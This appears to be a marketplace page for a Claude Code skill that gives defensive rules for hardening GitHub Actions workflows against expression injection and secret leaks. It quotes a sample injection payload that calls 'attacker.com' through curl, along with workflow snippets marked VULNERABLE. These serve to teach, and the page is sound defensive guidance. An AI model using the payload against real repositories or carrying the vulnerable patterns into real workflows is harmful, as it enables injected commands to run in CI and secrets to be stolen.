Skip to content
Agent Orchestration
Skill

/secure-github-actions

Harden GitHub Actions workflows against supply-chain and injection attacks when creating, modifying, or reviewing a `.github/workflows/*.yml` file. Skip for unrelated CI work (other CI providers, test harnesses, dependency pinning) that does not touch a workflow YAML.

BOOST
From plugin
2x-skills
24710 skills
Install
$ npx -y skills add intercom/2x-skills --skill secure-github-actions --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/secure-github-actions

Context preview

The summary Claude sees to decide when to auto-load this skill.

Harden GitHub Actions workflows against supply-chain and injection attacks when creating, modifying, or reviewing a `.github/workflows/*.yml` file. Skip for unrelated CI work (other CI providers, test harnesses, dependency pinning) that does not touch a workflow YAML.

SKILL.md

secure-github-actions.SKILL.md
name: secure-github-actions
description: |
  Harden GitHub Actions workflows against supply-chain and injection attacks when
  creating, modifying, or reviewing a `.github/workflows/*.yml` file. Skip for
  unrelated CI work (other CI providers, test harnesses, dependency pinning)
  that does not touch a workflow YAML.
metadata:
  keywords: github actions, workflow yaml, .github/workflows, expression injection, SHA pin, pull_request_target, claude-code-action
  version: "1.1"
  user-invocable: true
allowed-tools: Read Grep Glob Bash

Secure GitHub Actions

Enforces supply chain hardening rules for GitHub Actions workflows. Every rule below addresses a real vulnerability class found in security audits of production workflows.

When to Use

  • Writing a new `.github/workflows/*.yml` file
  • Modifying an existing workflow
  • Reviewing a PR that touches workflow files
  • Adding a secret, action reference, or reusable workflow call
  • Configuring `claude-code-action` or `claude-code-base-action`

When NOT to Use This Skill

This skill is specifically for **GitHub Actions workflow YAML files**. If you reach it but the actual task is one of the below, **step aside**: say in a single line that the rules here only apply to `.github/workflows/*.yml` edits and continue with the real task. Do not run the audit grep commands or the pre-PR checklist on unrelated code.

  • **Other CI providers** — any non-GitHub-Actions CI config (a Buildkite pipeline, a

CircleCI/GitLab/Jenkins config, etc.) — use that provider's own tooling

  • **Test / e2e harness setup** (Playwright, Cypress, or any framework) that does not edit a workflow YAML
  • **Dependency or lockfile pinning** in a package manifest of any language

(`package.json`, `Gemfile`, `pom.xml`, `go.mod`, `requirements.txt`, `Cargo.toml`, …) — even though supply-chain–adjacent, the rules below are about workflow YAML idioms

  • **Generic CI investigation** with no workflow file change in scope
  • **Package supply-chain questions** for any ecosystem (npm, RubyGems, Maven, Go modules,

PyPI, crates, …) — use a package supply-chain scanner

If a workflow file is *also* in scope alongside one of the above, apply the rules to the workflow file and step aside for the rest.

The Rules

Rules 1-11: All Repositories

Rule 1: No `${{ }}` in `run:` blocks

**Never** interpolate any `${{ }}` expression directly in a `run:` block — route everything through `env:` variables. This applies to all expressions, not just attacker-controlled ones:

  • **Attacker-controlled values** (`github.event.*`, `inputs.*`) — shell injection risk
  • **Secrets** (`secrets.*`) — leak via `set -x`, shell errors, and process listings
  • **Context values** (`github.repository`, `github.run_id`, `steps.*.outputs.*`) — trains

bad habits, zizmor flags them, and any future refactor that introduces attacker input into the same block inherits the anti-pattern

# VULNERABLE — attacker-controlled title executes as shell
run: |
  TITLE="${{ github.event.issue.title }}"

# ALSO WRONG — "not attacker-controlled" is not an excuse
run: |
  gh issue edit "${{ github.event.issue.number }}" --repo "${{ github.repository }}"
  curl -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" "$URL"

# SAFE — env vars are set before shell parses the script
env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
  ISSUE_NUMBER: ${{ github.event.issue.number }}
  REPO: ${{ github.repository }}
  GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
  echo "$ISSUE_TITLE"
  gh issue edit "$ISSUE_NUMBER" --repo "$REPO"

**Why:** GitHub expands `${{ }}` expressions via string interpolation *before* the shell sees the script. A malicious issue title like `"; curl attacker.com; "` breaks out of quotes and executes arbitrary commands. Env vars are injected as process environment, not text substitution, so shell metacharacters are inert.

Even "safe" values like `github.repository` or `secrets.GITHUB_TOKEN` should go through `env:` — secrets can leak via `set -x` or shell error messages, and allowing some `${{ }}` in `run:` blocks trains the pattern as acceptable, leading to copy-paste injection bugs when the same block is extended with attacker-controlled values later.

**Simple rule: if you see `${{ }}` inside a `run:` block, it's wrong. Move it to `env:`.**

**Highest-risk expressions** (attacker-controlled — shell injection):

  • `github.event.issue.title`, `.body`
  • `github.event.comment.body`
  • `github.event.pull_request.title`, `.body`, `.head.ref`
  • `github.event.label.name`
  • `github.event.review.body`
  • `inputs.*` (workflow_dispatch, workflow_call)

**Still wrong in `run:` blocks** (not attacker-controlled, but banned):

  • `secrets.*` — leak risk via shell diagnostics
  • `github.repository`, `github.run_id`, `github.server_url`
  • `steps.*.outputs.*`, `needs.*.outputs.*`, `job.status`
  • `github.event.issue.number`, `github.event.pull_request.number`

**Safe in `with:` blocks** (YAML context, no shell): `${{ }}` in action `with:` inputs is safe from *shell* injection, but still a prompt injection vector if passed to AI tools.

Rule 2: No `secrets: inherit`

Always use explicit `secrets:` mapping when calling reusable workflows. List exactly which secrets the called workflow needs.

# VULNERABLE — exposes ALL repo secrets to the called workflow
jobs:
  notify:
    uses: your-org/shared-workflows/.github/workflows/notify.yml@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.3.1
    secrets: inherit

# SAFE — only passes what's needed
jobs:
  notify:
    uses: your-org/shared-workflows/.github/workflows/notify.yml@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.3.1
    secrets:
      SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}

**Why:** `secrets: inherit` passes every secret the caller has access to. If the called workflow is compromised, every secret is exfiltrated. This is a well-documented real-world exfiltration path — incidents have traced back to a single `secrets: inherit` repeated

Read more
Ships with2x-skills

A marketplace of Claude Code skills built by the Fin 2x team.

Get the whole plugin

Other skills on 2x-skills.